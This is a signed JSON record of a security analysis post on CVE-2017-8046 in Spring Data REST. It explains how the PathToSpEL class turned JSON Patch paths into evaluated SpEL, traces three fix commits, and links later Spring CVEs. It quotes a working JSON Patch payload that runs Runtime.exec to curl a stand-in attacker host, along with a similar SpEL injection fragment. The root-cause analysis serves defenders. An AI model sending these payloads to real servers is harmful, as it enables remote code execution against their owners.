-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The \"sanitization\" was splitting on `/`.\n\nThe pre-patch entry point in `PathToSpEL.java` reads, in full:\n\n```java\npublic static Expression pathToExpression(String path) {\n return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path));\n}\n```\n\n`pathToSpEL` does the work the class name promises. It splits the input on `/`, walks each token, and emits SpEL property access. Numeric tokens become `[index]`. The append characters `-` and `~` become `$[true]`. Everything else is appended to a `StringBuilder` separated by `.`. The result is parsed by `SpelExpressionParser.parseExpression` and stored on the `PatchOperation`:\n\n```java\nprivate static String pathToSpEL(String path) {\n return pathNodesToSpEL(path.split(\"\\\\/\"));\n}\n\nprivate static String pathNodesToSpEL(String[] pathNodes) {\n StringBuilder spelBuilder = new StringBuilder();\n for (int i = 0; i < pathNodes.length; i++) {\n String pathNode = pathNodes[i];\n if (pathNode.length() == 0) continue;\n if (APPEND_CHARACTERS.contains(pathNode)) {\n if (spelBuilder.length() > 0) spelBuilder.append(\".\");\n spelBuilder.append(\"$[true]\");\n continue;\n }\n try {\n int index = Integer.parseInt(pathNode);\n spelBuilder.append('[').append(index).append(']');\n } catch (NumberFormatException e) {\n if (spelBuilder.length() > 0) spelBuilder.append('.');\n spelBuilder.append(pathNode);\n }\n }\n String spel = spelBuilder.toString();\n if (spel.length() == 0) spel = \"#this\";\n return spel;\n}\n```\n\nThe function intends to translate `/lastname/firstname` into `lastname.firstname` and `/items/1/name` into `items[1].name`. It does. It also has one architectural property: if the input contains no `/`, `path.split(\"\\\\/\")` returns a single-element array, the for loop processes that one element, the element is not numeric and not an append character, and the entire input is appended to the builder verbatim. Whatever the attacker sent is what gets parsed by SpEL.\n\nThe nuclei template payload is:\n\n```json\n[\n {\n \"op\": \"replace\",\n \"path\": \"T(java.lang.Runtime).getRuntime().exec(\\\"curl https://attacker/c\\\").x\",\n \"value\": \"CVE-2017-8046\"\n }\n]\n```\n\nThere are zero slashes in the path's value. The split returns one element. The element is the entire SpEL expression. `pathToSpEL` returns it unchanged. `parseExpression` builds the AST. `ReplaceOperation.setValueOnTarget` calls `spelExpression.setValue(target, value)`. SpEL walks the chain looking for an assignable leaf, evaluates `T(java.lang.Runtime).getRuntime().exec(...)` along the way, spawns the process, then tries to assign `value` to a `.x` property on the resulting `Process` object and throws. The exec ran. The throw is the response body. The nuclei template's matcher waits on the DNS callback from `curl`.\n\nThe \"sanitization\" in `pathToSpEL` was splitting on `/`. The attacker's payload contained no slashes.\n\n## JSON Pointer is a thirty-line tokenizer. Spring used SpEL because Spring had SpEL.\n\nJSON Patch (RFC 6902) defines an operation's `path` field as \"a string containing a JSON Pointer value (Section 4 of [RFC6901]).\" RFC 6901 is short. Its grammar is the production `json-pointer = *( \"/\" reference-token )`, where `reference-token` is any UTF-8 character except `/` and `~`, with `~0` escaping `~` and `~1` escaping `/`. The whole grammar fits on a screen. A correct JSON Pointer evaluator over a JSON document is approximately thirty lines of code. It does not invoke methods. It does not load classes. It does not contain production rules for type references or function calls, because JSON Pointer does not have type references or function calls.\n\nSpring did not write a JSON Pointer evaluator. Spring wrote a translator from JSON Pointer to SpEL and handed the result to the SpEL evaluator. The translator existed because Spring already had a SpEL property-walker for bean property paths and reusing it was cheaper than writing a JSON Pointer evaluator from scratch. The choice is legible from the package layout: `PathToSpEL` sits in `org.springframework.data.rest.webmvc.json.patch` and imports `SpelExpressionParser` from `org.springframework.expression.spel.standard`. Spring Data REST is an HTTP layer. SpEL is the evaluation layer the rest of Spring already uses for bean wiring, security expressions, and templating. The cheapest thing to add to the HTTP layer was a translator into the language the rest of the framework speaks.\n\nThe translator is the bug surface. The bug is that the translator's input grammar (JSON Pointer) is a strict subset of its output grammar (SpEL), and the translator's only mechanism for ensuring the output stayed inside the input subset was tokenizing on `/`. Inputs that were valid SpEL but not valid JSON Pointer passed through unchanged. The class is the most precisely-named primitive in the Spring CVE corpus: it is named after exactly the operation that produces the vulnerability.\n\n## The first patch verified properties. The third deleted the class.\n\nThe Spring fix arrived in three commits across two months, one engineer, three Jira tickets.\n\nDATAREST-1127 landed Friday September 8, 2017, with this commit message:\n\n> Previously the SpEL expressions created from JSON Patch path expressions were executed without double checking whether these paths actually exist on the target object in the first place. This is now in place.\n\nForty-two insertions in `PatchOperation.java`. The diff introduces `verifyPath(Class type)`, which splits the path on `/`, drops digit-only and dash-only segments, joins the rest with `.`, and calls `PropertyPath.from(pathSource, type)`. `PropertyPath` is a Spring Data type that resolves property accessors against a Java class. Any segment that is not a real property on the target type causes `PropertyReferenceException`, and `verifyPath` rethrows as `PatchException`. The check is added to `evaluateValueFromTarget`. It is not added to `setValueOnTarget` or `getValueFromTarget`. The bug fires through both.\n\nDATAREST-1137 landed seventeen days later, Monday September 25:\n\n> All patch operations now verify path expressions.\n>\n> We now make sure that all patch operations now get the path they're supposed to be applied to verified before execution.\n\nNinety-six insertions across nine files. The September 8 check is now wired into `AddOperation`, `CopyOperation`, `MoveOperation`, `RemoveOperation`, `ReplaceOperation`, `TestOperation`, and the parent `PatchOperation`. The fix shape is identical to the first one. The first one was incomplete because the bug fires through every operation, not just the one the first patch covered.\n\nDATAREST-1152 landed October 25, two months after the first commit:\n\n> Overhaul of patch expression handling.\n>\n> Significantly refactored the way that patch path expressions are handled and evaluated. The new design is centered around SpelPath that is aware of the original path as well as the derived SpEL expression. That SpelPath then requires clients to bind it to a type so that the original path can be validated (and rejected if invalid) and provide API to read, set, copy and move values backed by the original path.\n\n703 insertions, 534 deletions across 23 files. `PathToSpEL.java` is among the deletions. The file is removed, 119 lines, gone. Its replacement, `SpelPath`, holds the original path string and the derived SpEL expression as separate fields, validates the path against the target type at bind time, and evaluates the expression through `SimpleEvaluationContext.forReadWriteDataBinding()`, a context whose factory explicitly disables type references and method invocation. The same engineer who shipped `PathToSpEL.pathToExpression` is the one who deleted it.\n\nThe October 25 commit is the actual fix. The September 8 and September 25 commits are the partial fixes the engineer reached for first because adding a property-existence check is a smaller change than rewriting the expression layer. The two-month interval is the time it took to conclude that the substrate was the class itself, not a missing check at the call sites.\n\n## Spring fed this design debt for five years.\n\nThe pattern of evaluating attacker-influenced strings as expressions over Spring's reflection-capable engines did not begin with `PathToSpEL`. It does not end with it.\n\nCVE-2018-1273 lands seven months later, in Spring Data Commons. The `MapDataBinder` evaluates bean property paths through SpEL when binding form data into nested maps. Attacker-controlled property names like `[T(java.lang.Runtime).getRuntime().exec(...)]` evaluate during the bind. The fix tightens which evaluation contexts the binder uses. The SpEL evaluation on attacker-influenced property strings remains the substrate.\n\nCVE-2022-22963, four years later, lands in Spring Cloud Function. The `spring.cloud.function.routing-expression` HTTP header is parsed as a SpEL expression by the `RoutingFunction` resolver. Setting that header to a `T(...)` chain evaluates against the function context. Same primitive, different inbound channel.\n\nCVE-2022-22965, Spring4Shell, lands a month after that. The `WebDataBinder` allows attacker-controlled property paths to reach `class.module.classLoader.resources.context.parent.pipeline.first.pattern` through nested property access. Not literally SpEL parsing this time, but the same architectural class: the framework walks caller-supplied strings as accessor expressions through Java reflection without restricting which targets are reachable.\n\nEach was patched in isolation. CVE-2017-8046 got `SpelPath` plus a restricted evaluation context. CVE-2018-1273 got an evaluation-context tightening on `MapDataBinder`. CVE-2022-22963 got a property removal and a documentation note. CVE-2022-22965 got a `disallowedFields` configuration. The substrate, Spring's habit of treating framework-trusted, attacker-influenced strings as expressions over an engine that exposes reflection, was not changed in any of them.\n\nThis is [Design Debt Driver](/patterns/design-debt-driver). The closest published exhibit in shape is [Apache Camel's `HeaderFilterStrategy` lineage](/posts/camel-cve-2026-40453-five-subclasses-needed-the-same-line): one engineer adding the same one-line fix across five identical subclasses thirteen months after fixing it in the first one, because the parent-class default he never changed kept producing the same bug class. Spring patched `PathToSpEL` in 2017 and shipped CVE-2018-1273, CVE-2022-22963, and CVE-2022-22965 from the same architectural shape across the next five years. Each patch closed its instance. The substrate the next CVE depends on was unchanged.\n\n## What the CVE description does not say.\n\nNVD files CVE-2017-8046 under CWE-20, Improper Input Validation. The Spring advisory says \"specially crafted JSON data\" can \"run arbitrary Java code.\" Both are correct. Neither names SpEL. Neither names the path field. Neither names that the attacker's input passed through a class whose explicit job was to convert it into the language that executed it.\n\nA defender reading the description and grepping their fleet for \"JSON patch\" finds the affected versions. A defender reading the description and grepping their codebase for the substrate finds nothing actionable, because the substrate is \"the framework treats caller-influenced strings as expressions over an engine with reflection,\" and that string does not appear in CVE descriptions. The four CVEs Spring shipped over the next five years from the same substrate are filed under different CWE numbers, different products, and different reporters. The CVE list is correct on each line. It is not the index of the class.\n\nPoC: [projectdiscovery/nuclei-templates CVE-2017-8046.yaml](https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-8046.yaml)","closing_line":"The class was named `PathToSpEL`. The bug was that `PathToSpEL` did exactly what its name said.","hook_md":"A class named `PathToSpEL.java` is not a bug. It is a contract. The class header states it and every method states it again: this class translates a JSON Patch path into a SpEL expression, and that expression is what Spring will evaluate. JSON Patch paths are RFC 6901 JSON Pointers, a constrained string accessor for a node in a JSON document. SpEL is a Turing-complete expression language with type references, method invocation, and reflection. CVE-2017-8046 is what happens when the second receives the first's input through a class whose name advertises the conversion. The translator was honest about its job.","post_id":59,"slug":"spring-data-rest-pathtospel-did-what-its-name-said","title":"CVE-2017-8046: PathToSpEL Did What Its Name Said","type":"initial","unreadable_sentence":"The \"sanitization\" in `pathToSpEL` was splitting on `/`. The attacker's payload contained no slashes."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCairsywAKCRDeZjl4jgkQ Jt3zAP4tQY50eZiOeUT9FIKgJ8JxYLrA6UEcdGECv5Nv89djtwEA+n+E4CHkri3q 3Ka6BUGewNYwZBaup9qcRUoXDV16LwM= =9SyV -----END PGP SIGNATURE-----